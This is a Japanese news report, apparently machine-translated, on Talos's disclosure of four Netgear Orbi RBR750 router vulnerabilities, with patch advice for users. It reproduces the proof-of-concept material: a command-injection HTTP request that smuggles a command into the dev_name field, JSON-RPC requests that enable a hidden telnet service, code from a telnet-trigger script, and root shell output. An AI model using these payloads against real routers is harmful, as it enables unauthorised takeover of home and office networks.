Netgear の Orbi メッシュ ワイヤレス システムを使用してインターネットに接続している場合は、古いバージョンの重大な脆弱性に対するエクスプロイト コードがリリースされているため、最新のファームウェアが実行されていることを確認する必要があります。
Netgear Orbi メッシュ ワイヤレス システムは、メイン ハブ ルーターと、ネットワークの範囲を拡張する 1 つまたは複数のサテライト ルーターで構成されます。 家庭やオフィスに複数のアクセス ポイントを設定することで、メッシュ システムを形成し、Wi-Fi カバレッジを全体で利用できるようにします。
任意のコマンドをリモートで注入する
昨年、Cisco の Talos セキュリティ チームの研究者が 4 つの脆弱性を発見し、非公開で Netgear に報告しました。 最も重大な脆弱性で、次のように追跡されます。 CVE-2022-37337、RBR750 のアクセス制御機能に存在します。 ハッカーはこれを悪用して、特別に細工した HTTP リクエストをデバイスに送信することで、コマンドをリモートで実行できます。 ハッカーはまず、SSID パスワードを知るか、保護されていない SSID にアクセスして、デバイスに接続する必要があります。 欠陥の重大度は、10 段階中 9.1 と評価されています。
1 月に、Netgear は脆弱性にパッチを当てたファームウェア アップデートをリリースしました。 さて、タロス 公開された 概念実証のエクスプロイト コードと技術的な詳細。
「Orbi RBR750 のアクセス制御機能により、ユーザーは明示的にデバイス (MAC アドレスとホスト名で指定) を追加して、ネットワークへのアクセスを試みるときに、指定したデバイスを許可またはブロックできます」と Talos の研究者は書いています。 「ただし、dev_name パラメーターはコマンド インジェクションに対して脆弱です。」
公開されたエクスプロイト コードは次のとおりです。
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
デバイスは次のように応答します。
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Talos が発見した他の 2 つの脆弱性も、1 月にパッチを受け取りました。 CVE-2022-36429 また、特別に細工された JSON オブジェクトを作成する一連の悪意のあるパケットを送信することで悪用できる、リモート コマンド実行の欠陥でもあります。 その深刻度の評価は 7.2 です。
エクスプロイトは、文書化されていない telnet セッションを開始するために必要な認証 Cookie を返すために、ユーザー名「admin」でパスワードの SHA256 合計を使用することから始まります。
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin:
Referer: /
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
非表示の telnet サービスを開始するために必要な「ubus_rpc_session」トークンが表示されます。
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
次に、敵対者は「telnet_enable」というパラメータを追加して、telnet サービスを開始します。
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin:
Referer: /status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
ユーザー名「admin」で SHA256 ハッシュを生成するために使用される同じパスワードにより、攻撃者はサービスにログインできます。
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
パッチが適用された他の脆弱性は次のとおりです。 CVE-2022-38458、深刻度は 6.5 です。 これは、暗号化されていない HTTP 接続を介してユーザーにパスワードの入力を求めるデバイスから発生します。 その後、同じネットワーク上の敵対者がパスワードを盗聴できます。
死ぬことを拒否した脆弱性
Talos が発見した 4 番目の脆弱性は、次のように追跡されています。 CVE-2022-38452、まだパッチが適用されていません。 いずれにせよ、Talos は、ベンダーに非公開で報告されてから 90 日以内に脆弱性情報を開示するというポリシーに沿って、それに関する詳細を公開しました。 この欠陥は、隠された telnet 機能に起因し、敵対者がリモートでコマンドを実行できるようにします。
Netgear の開発者は以前、telnet サービスをオンまたはオフにするために使用できる隠しデバッグ ページのトグル スイッチを削除する更新を導入しました。 残念ながら、修正は不完全でした。
「GUI のスイッチは機能しなくなった/削除されましたが、特別に細工されたトリガー パケットを UDP ポート 23 ( Talos 説明した. 最近の更新により、このツール (および同様の多くのツール) が壊れているように見えますが、サービスはまだ存在し、トリガー可能です。」
def crypt_64bit_up(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0, 0x10):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[-2]
y = y ^ pArray[-1]
return (x, y)
def crypt_64bit_down(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0x11, 1, -1):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[1]
y = y ^ pArray[0]
return (x, y)
脆弱なデバイスのユーザー名、パスワード、および MAC アドレスを持っている敵対者 br-lan
インターフェイスは telnet を開始できます:
$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44 45 38 37 38 00 00 00 00 C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 admin...........
00000020: 50 61 73 73 77 30 72 64 00 00 00 00 00 00 00 00 Passw0rd........
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE 8F 14 65 9F B9 03 3C 8D ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43 84 4B BB F5 B1 B0 C5 32 .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F 7C 82 89 28 32 95 7C 64 c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D 7C 82 89 28 32 95 7C 64 S b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
=== LOGIN ===============================
Please enter your account and password,
It's the same with DUT GUI
------------------------------------------
telnet account: admin
telnet password:
BusyBox v1.30.1 () built-in shell (ash)
.oooooo. .o8 o8o .o. ooooooo ooooo
d8P' `Y8b "888 `"' .888. `8888 d8'
888 888 oooo d8b 888oooo. oooo .8"888. Y888..8P
888 888 `888""8P d88' `88b `888 .8' `888. `8888'
888 888 888 888 888 888 .88ooo8888. .8PY888.
`88b d88' 888 888 888 888 .8' `888. d8' `888b
`Y8bood8P' d888b `Y8bod8P' o888o o88o o8888o o888o o88888o
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, 10.0.3440.3644)
---------------------------------------------------------------
root@RBR750:/#
前述のように、4 つの脆弱性のうち 3 つが 1 月にパッチされました。 Orbi ルーター モデル RBR750 ユーザーマニュアル ユーザーは、orbilogin.com にアクセスし、管理者の資格情報を入力して、[高度]>[管理]>[ファームウェアの更新]>[オンライン更新]を選択することで、利用可能な更新を確認してインストールできると言っています。
CVE-2022-38452 にはまだパッチが適用されていませんが、他の 3 つの欠陥は修正されています。 これらのデバイスのユーザーは、それらが実行されていることを確認する必要があります ファームウェアバージョン 4.6.14.3、現時点での最新リリースです。